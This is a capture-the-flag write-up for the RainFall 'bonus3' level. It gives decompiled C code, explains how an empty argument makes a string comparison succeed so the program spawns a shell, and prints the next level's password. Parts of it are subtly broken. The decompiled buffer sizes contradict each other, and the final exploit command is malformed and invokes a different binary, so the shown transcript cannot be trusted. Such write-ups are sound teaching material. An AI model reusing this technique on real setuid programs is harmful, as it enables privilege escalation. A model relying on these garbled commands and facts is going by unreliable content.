
./bonus3



Decompiled file with Ghidra:

```
int main(int ac, char **av)
    int ret;
    char buffer[16];
    char empty_buffer[66];
    FILE *fd;
    fd = fopen("/home/user/end/.pass", "r");
    bzero(buffer, 33);
    if ((fd == NULL) || (ac != 2))
        return -1;
    fread(buffer, 1, 66, fd);
    ret = atoi(av[1]);
    *(buffer + ret) = 0;
    fread(empty_buffer, 1, 65, fd);
    fclose(fd);
    ret = strcmp(buffer, av[1]);
    if (ret == 0)
        execl("/bin/sh", "sh", 0);
    else
        puts(empty_buffer);
    return 0;
```

./bonus3²

Upon examining the C code, it becomes clear that for the shell to be spawned, ret must be set to 0.

```
ret = strcmp(buffer, av[1]);
```

This means our av[1] needs to match buffer.

```
fread(buffer, 1, 66, fd);
```

The buffer holds 16 bytes from the .pass file. To access the shell, av[1] should match these, but they're unknown to us. Moreover, even if known, another line complicates it:

```
ret = atoi(av[1]);
*(buffer + ret) = 0;
```

If av[1] matches the 16 bytes from .pass, then atoi could overflow, causing the '\0' to be written at an outof-bounds location, leading to a *segmentation fault*.

But, what's interesting, is that the buffer is *null-terminated* based on the result of atoi(av[1]).

Indeed, without knowledge of the buffer content, and considering that knowing wouldn't benefit us, our objective becomes clear: ensure both the buffer and av[1] are identical.

Consequently, setting both **buffer[0]** and **av[1]** to **0** is the logical solution.

To achieve this, we can provide the program with any of the following arguments: "", \$'\0', \$'\x0'

```
bonus3@RainFall:~$ cat << "cd ../end && cat .pass" |
./bonus1 ""

3321b6f81659f9a71c76616f606e4b50189cecfea611393d5d649f75e157353c

bonus3@RainFall:~$ su end
Password: 3321b6f81659f9a71c76616f606e4b50189cecfea611393d5d649f75e157353c

end@RainFall:~$ cat end

Congratulations graduate!</pre>
```